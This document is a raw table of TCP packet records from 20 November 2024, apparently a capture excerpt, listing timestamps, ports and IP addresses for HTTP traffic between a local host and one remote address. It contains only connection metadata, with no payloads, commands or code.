Nov 20, 2024 09:14:56.145965099 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145975113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146023989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146023989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146130085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146142006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146152973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146162987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146173954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146184921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146194935 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146194935 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146217108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146229029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146239042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146249056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146254063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146254063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146287918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146296024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146401882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146413088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146424055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146434069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146450996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146461010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146471977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146482944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146483898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146483898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146496058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146506071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146509886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146533012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146533012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146545887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146559000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146569014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146570921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146580935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146593094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146603107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146608114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146608114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146626949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146637917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146642923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146642923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146650076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146661997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.146688938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.146733046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.149266005 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232156992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232254982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232265949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232279062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232290030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232300997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232311964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232322931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232337952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232337952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232387066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232469082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232520103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232563972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232574940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232609034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232650995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232748985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232768059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232779026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232789993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232800007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232810974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232812881 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232812881 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232836962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232851028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232857943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232857943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232907057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232918978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232930899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.232944965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232944965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.232985020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233103991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233114958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233125925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233163118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233181953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233284950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233303070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233314991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233331919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233342886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233349085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233352900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233352900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233360052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233371019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233381987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233392954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233392954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233405113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233422995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233441114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233464956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233535051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233547926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233558893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233592033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233697891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233707905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233719110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233731031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233741999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233752966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233757019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233766079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233776093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233787060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233797073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233800888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233800888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233836889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233836889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.233958006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233971119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233980894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.233994007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234004021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234014034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234023094 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.234023094 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.234025002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234041929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234052896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234087944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.234087944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.234117985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234306097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234318018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234327078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234338045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234349012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.234368086 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.234368086 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.234395981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.409996986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410018921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410032034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410043001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410053968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410064936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410082102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410132885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410168886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410181046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410192966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410223007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410235882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410249949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410252094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410264969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410288095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410300016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410310030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410311937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410322905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410334110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410336018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410362959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410387993 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410418987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410429955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410439014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410449982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410459042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410461903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410466909 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410466909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410506964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410526037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410537004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410547972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410557985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410568953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410581112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410592079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410610914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410644054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410655975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410666943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410677910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410691023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410706043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410731077 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410768986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410779953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410793066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410803080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410815001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410815954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410828114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410834074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410839081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410871983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410882950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410908937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410921097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410932064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410942078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.410950899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410972118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.410996914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411027908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411040068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411050081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411060095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411071062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411086082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411098003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411118031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411184072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411195040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411205053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411216021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411226034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411238909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411243916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411245108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411252975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411274910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411325932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411328077 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411338091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411350012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411360025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411375999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411391973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411402941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411408901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411411047 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411422968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411448002 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411521912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411640882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411653042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411663055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411673069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411683083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411688089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411695957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411705971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411706924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411717892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411720037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411734104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411745071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411748886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411772966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411775112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411787987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411792994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411798954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411843061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411880016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411890030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411892891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411906004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411919117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411927938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411928892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411942005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411952972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.411957026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.411966085 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412000895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412089109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412103891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412117958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412127972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412136078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412143946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412156105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412169933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412242889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412251949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412264109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412273884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412285089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412295103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412305117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412311077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412324905 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412324905 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412354946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412364960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412374973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412384987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412395954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412405968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412411928 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412415028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412431002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412442923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412445068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412458897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412470102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412470102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412487984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412513971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412648916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412659883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412708998 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412722111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412734032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412744045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412760019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412770033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412770987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412796974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412807941 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412832022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412843943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412854910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412864923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.412873030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.412899017 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497054100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497066975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497078896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497113943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497124910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497134924 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497143984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497157097 CET	80	49701	42.193.100.57	192.168.2.11
